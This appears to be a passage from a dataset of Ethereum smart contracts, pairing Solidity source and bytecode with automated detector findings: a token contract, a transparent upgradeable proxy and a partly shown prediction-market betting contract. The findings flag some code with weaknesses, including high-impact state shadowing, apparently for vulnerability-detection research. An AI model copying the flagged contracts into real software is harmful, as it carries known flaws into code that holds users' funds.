function setTokenName(string newTokenName) public onlyOwner{
tokenName = newTokenName;
}
/* 设置tokenSymbol */
function setTokenSymbol(string newTokenSymbol) public onlyOwner{
tokenSymbol = newTokenSymbol;
}
}
|
0x6060604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305fefda7811461016e57806306fdde0314610189578063095ea7b31461021357806318160ddd1461024957806323b872dd1461026e5780632b68b9c614610296578063313ce567146102a957806342966c68146102bc5780634b750334146102d25780636c02a931146102e557806370a08231146102f857806379c650681461031757806379cc6790146103395780637b61c3201461035b5780638620410b1461036e5780638da5cb5b1461038157806395d89b41146103b0578063a4f29aad146103c3578063a6f2ae3a14610414578063a9059cbb1461041c578063b414d4b61461043e578063ba51b1b41461045d578063c91d956c146104ae578063cae9ca51146104c4578063dd62ed3e14610529578063e4849b321461054e578063e724529c14610564578063f2fde38b14610588575b600080fd5b341561017957600080fd5b6101876004356024356105a7565b005b341561019457600080fd5b61019c6105cd565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d85780820151838201526020016101c0565b50505050905090810190601f1680156102055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021e57600080fd5b610235600160a060020a036004351660243561066b565b604051901515815260200160405180910390f35b341561025457600080fd5b61025c61069b565b60405190815260200160405180910390f35b341561027957600080fd5b610235600160a060020a03600435811690602435166044356106a1565b34156102a157600080fd5b610187610718565b34156102b457600080fd5b61025c610741565b34156102c757600080fd5b610235600435610747565b34156102dd57600080fd5b61025c6107d2565b34156102f057600080fd5b61019c6107d8565b341561030357600080fd5b61025c600160a060020a0360043516610843565b341561032257600080fd5b610187600160a060020a0360043516602435610855565b341561034457600080fd5b610235600160a060020a036004351660243561091b565b341561036657600080fd5b61019c6109f7565b341561037957600080fd5b61025c610a62565b341561038c57600080fd5b610394610a68565b604051600160a060020a03909116815260200160405180910390f35b34156103bb57600080fd5b61019c610a77565b34156103ce57600080fd5b61018760046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ae295505050505050565b610187610b14565b341561042757600080fd5b610187600160a060020a0360043516602435610b34565b341561044957600080fd5b610235600160a060020a0360043516610b3f565b341561046857600080fd5b61018760046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610b5495505050505050565b34156104b957600080fd5b610187600435610b82565b34156104cf57600080fd5b61023560048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610bab95505050505050565b341561053457600080fd5b61025c600160a060020a0360043581169060243516610cdd565b341561055957600080fd5b610187600435610cfa565b341561056f57600080fd5b610187600160a060020a03600435166024351515610d57565b341561059357600080fd5b610187600160a060020a0360043516610de3565b60005433600160a060020a039081169116146105c257600080fd5b600791909155600855565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106635780601f1061063857610100808354040283529160200191610663565b820191906000526020600020905b81548152906001019060200180831161064657829003601f168201915b505050505081565b600160a060020a033381166000908152600660209081526040808320938616835292905220819055600192915050565b60045481565b600160a060020a038084166000908152600660209081526040808320339094168352929052908120548211156106d657600080fd5b600160a060020a038085166000908152600660209081526040808320339094168352929052208054839003905561070e848484610e2d565b5060019392505050565b60005433600160a060020a0390811691161461073357600080fd5b600054600160a060020a0316ff5b60095481565b600160a060020a0333166000908152600560205260408120548290101561076d57600080fd5b600160a060020a03331660008181526005602052604090819020805485900390556004805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60075481565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106635780601f1061063857610100808354040283529160200191610663565b60056020526000908152604090205481565b60005433600160a060020a0390811691161461087057600080fd5b600160a060020a03808316600090815260056020526040808220805485019055600480548501905530909216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a381600160a060020a031630600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b600160a060020a0382166000908152600560205260408120548290101561094157600080fd5b600160a060020a038084166000908152600660209081526040808320339094168352929052205482111561097457600080fd5b600160a060020a038084166000818152600560209081526040808320805488900390556006825280832033909516835293905282902080548590039055600480548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106635780601f1061063857610100808354040283529160200191610663565b60085481565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106635780601f1061063857610100808354040283529160200191610663565b60005433600160a060020a03908116911614610afd57600080fd5b600a818051610b10929160200190610f44565b5050565b600060085434811515610b2357fe5b049050610b31303383610e2d565b50565b610b10338383610e2d565b600d6020526000908152604090205460ff1681565b60005433600160a060020a03908116911614610b6f57600080fd5b600b818051610b10929160200190610f44565b60005433600160a060020a03908116911614610b9d57600080fd5b66038d7ea4c6800002600c55565b600083610bb8818561066b565b15610cd55780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c6e578082015183820152602001610c56565b50505050905090810190601f168015610c9b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610cbc57600080fd5b6102c65a03f11515610ccd57600080fd5b505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b6007548102600160a060020a033016311015610d1557600080fd5b610d20333083610e2d565b33600160a060020a03166108fc60075483029081150290604051600060405180830381858888f193505050501515610b3157600080fd5b60005433600160a060020a03908116911614610d7257600080fd5b600160a060020a0382166000908152600d602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60005433600160a060020a03908116911614610dfe57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610e4257600080fd5b600160a060020a03831660009081526005602052604090205481901015610e6857600080fd5b600160a060020a03821660009081526005602052604090205481810111610e8e57600080fd5b600160a060020a0383166000908152600d602052604090205460ff1615610eb457600080fd5b600160a060020a0382166000908152600d602052604090205460ff1615610eda57600080fd5b600160a060020a038084166000818152600560205260408082208054869003905592851680825290839020805485019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a3505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610f8557805160ff1916838001178555610fb2565b82800160010185558215610fb2579182015b82811115610fb2578251825591602001919060010190610f97565b50610fbe929150610fc2565b5090565b610fdc91905b80821115610fbe5760008155600101610fc8565b905600a165627a7a7230582032864b44d3763874d0cbcbb9f5c101bfb8efb976d14360e454a083de4b2bb8590029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,227 |
0x900fb32d746d4ee1cc3d500f3eafb02a89783047
|
// File: contracts/zeppelin/upgradable/proxy/Proxy.sol
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// File: contracts/zeppelin/utils/Address.sol
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/zeppelin/upgradable/proxy/UpgradeableProxy.sol
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// File: contracts/zeppelin/upgradable/proxy/TransparentUpgradeableProxy.sol
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, address admin_, bytes memory _data) payable UpgradeableProxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(admin_);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external virtual ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin {
_upgradeTo(newImplementation);
Address.functionDelegateCall(newImplementation, data);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// File: contracts/Proxies.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma abicoder v2;
contract AllowTokensProxy is TransparentUpgradeableProxy {
constructor(address _logic, address _admin, bytes memory _data) TransparentUpgradeableProxy(_logic,_admin, _data) payable {}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c3578063f851a440146100e35761005d565b3661005d5761005b6100f8565b005b61005b6100f8565b34801561007157600080fd5b5061005b610080366004610599565b610112565b61005b6100933660046105b3565b61014c565b3480156100a457600080fd5b506100ad6101c9565b6040516100ba919061064d565b60405180910390f35b3480156100cf57600080fd5b5061005b6100de366004610599565b610206565b3480156100ef57600080fd5b506100ad61029f565b610100610351565b61011061010b610392565b6103b7565b565b61011a6103db565b6001600160a01b0316336001600160a01b031614156101415761013c81610400565b610149565b6101496100f8565b50565b6101546103db565b6001600160a01b0316336001600160a01b031614156101bc5761017683610400565b6101b68383838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506102ca92505050565b506101c4565b6101c46100f8565b505050565b60006101d36103db565b6001600160a01b0316336001600160a01b031614156101fb576101f4610392565b9050610203565b6102036100f8565b90565b61020e6103db565b6001600160a01b0316336001600160a01b03161415610141576001600160a01b0381166102565760405162461bcd60e51b815260040161024d906106ae565b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61027f6103db565b8260405161028e929190610661565b60405180910390a161013c81610440565b60006102a96103db565b6001600160a01b0316336001600160a01b031614156101fb576101f46103db565b606061030c83836040518060400160405280601d81526020017f416464726573733a2064656c65676174652063616c6c206661696c6564000000815250610464565b9392505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061034757508115155b925050505b919050565b6103596103db565b6001600160a01b0316336001600160a01b0316141561038a5760405162461bcd60e51b815260040161024d906107a7565b610110610110565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156103d6573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61040981610500565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b606061046f84610313565b61048b5760405162461bcd60e51b815260040161024d90610761565b600080856001600160a01b0316856040516104a69190610631565b600060405180830381855af49150503d80600081146104e1576040519150601f19603f3d011682016040523d82523d6000602084013e6104e6565b606091505b50915091506104f6828286610549565b9695505050505050565b61050981610313565b6105255760405162461bcd60e51b815260040161024d9061070b565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b6060831561055857508161030c565b8251156105685782518084602001fd5b8160405162461bcd60e51b815260040161024d919061067b565b80356001600160a01b038116811461034c57600080fd5b6000602082840312156105aa578081fd5b61030c82610582565b6000806000604084860312156105c7578182fd5b6105d084610582565b9250602084013567ffffffffffffffff808211156105ec578384fd5b818601915086601f8301126105ff578384fd5b81358181111561060d578485fd5b87602082850101111561061e578485fd5b6020830194508093505050509250925092565b6000825161064381846020870161080f565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b600060208252825180602084015261069a81604085016020870161080f565b601f01601f19169190910160400192915050565b6020808252603a908201527f5472616e73706172656e745570677261646561626c6550726f78793a206e657760408201527f2061646d696e20697320746865207a65726f2061646472657373000000000000606082015260800190565b60208082526036908201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e74616040820152751d1a5bdb881a5cc81b9bdd08184818dbdb9d1c9858dd60521b606082015260800190565b60208082526026908201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6040820152651b9d1c9858dd60d21b606082015260800190565b60208082526042908201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60408201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606082015261195d60f21b608082015260a00190565b60005b8381101561082a578181015183820152602001610812565b83811115610839576000848401525b5050505056fea2646970667358221220856ef15e00ede09e32cac5379b88e631722c843a48913a4498150f70decde4ba64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,228 |
0x13d58a9325ce6edef1b167e125ab3a926df4b4b5
|
/**
*Submitted for verification at Etherscan.io on 2021-02-02
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract PredictionMarket {
AggregatorV3Interface internal priceFeed;
using SafeMath for uint256;
uint256 public latestConditionIndex;
address payable public owner;
mapping (uint256 => ConditionInfo) public conditions;
mapping (uint256 => mapping (address => UserInfo)) public users;
struct ConditionInfo
{
address oracle;
int triggerPrice;
uint256 settlementTime;
uint256 totalBelowETHStaked;
uint256 totalAboveETHStaked;
address[] aboveParticipants;
address[] belowParticipants;
bool isSettled;
int settledPrice;
}
struct UserInfo
{
uint256 belowETHStaked;
uint256 aboveETHStaked;
}
event ConditionPrepared(
uint256 indexed conditionIndex,
address indexed oracle,
uint256 indexed settlementTime,
int triggerPrice
);
event UserPrediction(
uint256 indexed conditionIndex,
address indexed userAddress,
uint256 indexed ETHStaked,
uint8 prediction,
uint256 timestamp
);
event UserClaimed(
uint256 indexed conditionIndex,
address indexed userAddress,
uint256 indexed winningAmount
);
event ConditionSettled(
uint256 indexed conditionIndex,
int indexed settledPrice,
uint256 timestamp
);
modifier onlyOwner(){
require(msg.sender == owner,"Not Owner");
_;
}
constructor(address payable _owner) public {
owner = _owner;
}
function prepareCondition(address _oracle,uint256 _settlementTime, int _triggerPrice) external onlyOwner{
require(_oracle != address(0),"Can't be 0 address");
require(_settlementTime > block.timestamp,"Settlement Time should be greater than Trx Confirmed Time");
latestConditionIndex = latestConditionIndex.add(1);
ConditionInfo storage conditionInfo = conditions[latestConditionIndex];
conditionInfo.oracle = _oracle;
conditionInfo.settlementTime = _settlementTime;
conditionInfo.triggerPrice = _triggerPrice;
conditionInfo.isSettled = false;
emit ConditionPrepared(latestConditionIndex, _oracle, _settlementTime, _triggerPrice);
}
function probabilityRatio(uint256 _conditionIndex) external view returns(uint256 aboveProbability,uint256 belowProbability){
ConditionInfo storage conditionInfo = conditions[_conditionIndex];
uint256 ethStakedForAbove = conditionInfo.totalAboveETHStaked;
uint256 ethStakedForBelow = conditionInfo.totalBelowETHStaked;
uint256 totalETHStaked = ethStakedForAbove.add(ethStakedForBelow);
uint256 aboveProbabilityRatio = totalETHStaked > 0 ? ethStakedForAbove.mul(1e18).div(totalETHStaked) : 0;
uint256 belowProbabilityRatio = totalETHStaked > 0 ? ethStakedForBelow.mul(1e18).div(totalETHStaked) : 0;
return (aboveProbabilityRatio,belowProbabilityRatio);
}
function userTotalETHStaked(uint256 _conditionIndex,address userAddress) public view returns(uint256){
UserInfo storage userInfo = users[_conditionIndex][userAddress];
return userInfo.aboveETHStaked.add(userInfo.belowETHStaked);
}
function betOnCondition(uint256 _conditionIndex,uint8 _prediction) public payable{
ConditionInfo storage conditionInfo = conditions[_conditionIndex];
require(conditionInfo.oracle !=address(0), "Condition doesn't exists");
require(block.timestamp < conditionInfo.settlementTime,"Cannot bet after Settlement Time");
uint256 userETHStaked = msg.value;
require(userETHStaked > 0 wei, "Bet cannot be 0");
require((_prediction == 0)||(_prediction == 1),"Invalid Prediction"); //prediction = 0 (price will be below), if 1 (price will be above)
address userAddress = msg.sender;
UserInfo storage userInfo = users[_conditionIndex][userAddress];
if(_prediction == 0) {
conditionInfo.belowParticipants.push(userAddress);
conditionInfo.totalBelowETHStaked = conditionInfo.totalBelowETHStaked.add(userETHStaked);
userInfo.belowETHStaked = userInfo.belowETHStaked.add(userETHStaked);
}
else{
conditionInfo.aboveParticipants.push(userAddress);
conditionInfo.totalAboveETHStaked = conditionInfo.totalAboveETHStaked.add(userETHStaked);
userInfo.aboveETHStaked = userInfo.aboveETHStaked.add(userETHStaked);
}
emit UserPrediction(_conditionIndex,userAddress,userETHStaked,_prediction,block.timestamp);
}
